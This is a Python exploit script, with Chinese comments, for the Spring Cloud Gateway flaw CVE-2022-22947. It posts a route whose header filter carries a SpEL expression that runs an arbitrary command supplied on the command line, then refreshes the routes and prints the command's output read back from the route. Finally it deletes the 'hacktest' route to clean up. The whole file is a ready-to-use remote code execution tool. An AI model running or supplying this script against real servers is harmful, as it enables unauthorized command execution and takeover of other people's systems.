CVE-2022-22947.py

import requests
import json
import re
import argparse

# 创建参数解析器
parser = argparse.ArgumentParser(description='Example script to process command line arguments.')

# 添加命令行选项
parser.add_argument('-u', '--url', required=True, help='URL argument')
parser.add_argument('-c', '--command', required=True, help='Command argument')

# 解析命令行参数
args = parser.parse_args()
# 第一次请求
url = args.url
command = '"' + args.command + '"'


url1 = url + '/actuator/gateway/routes/hacktest'
header1 = {
    "Cache-Control": "max-age=0",
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "en,zh-CN;q=0.9,zh;q=0.8",
    "Content-Type": "application/json",
    "Connection": "close",
    "Content-Length": "333",
}
payload = {
    "id": "hacktest",
    "filters": [
        {
            "name": "AddResponseHeader",
            "args": {
                "name": "Result",
                "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec("+command+").getInputStream()))}"
            }
        }
    ],
    "uri": "http://example.com"
}
response = requests.post(url1, json=payload, headers=header1,timeout=5)

if response.status_code == 201:
    # 第二次请求
    print("添加恶意SpEL表达式路由成功！")
    refresh_url = url + '/actuator/gateway/refresh'
    refresh_response = requests.post(refresh_url)

    if refresh_response.status_code == 200:
        # 第三次请求
        print("路由刷新成功！")
        get_url = url + '/actuator/gateway/routes/hacktest'
        get_response = requests.get(get_url,timeout=5)

        if get_response.status_code == 200:
            # 解析回显内容
            data = json.loads(get_response.text)
            filter_string = data['filters'][0]
            match = re.search(r"AddResponseHeader Result = '(.+?)'", filter_string, re.DOTALL)

            if match:
                result = match.group(1)
                # 去除引号和换行符
                result = result.replace("'", "")
                print("================================================")
                print("攻击结果获取成功: "+ "\n" + result)
                print("================================================")

                deletegateway = requests.delete(get_url,timeout=5)
                print("恶意路由已删除！")
                refresh_response2 = requests.post(refresh_url,timeout=5)
                print("路由刷新成功！")


        else:
            print('攻击结果获取失败！')
    else:
        print('路由刷新失败！')
else:
    print('漏洞不存在！')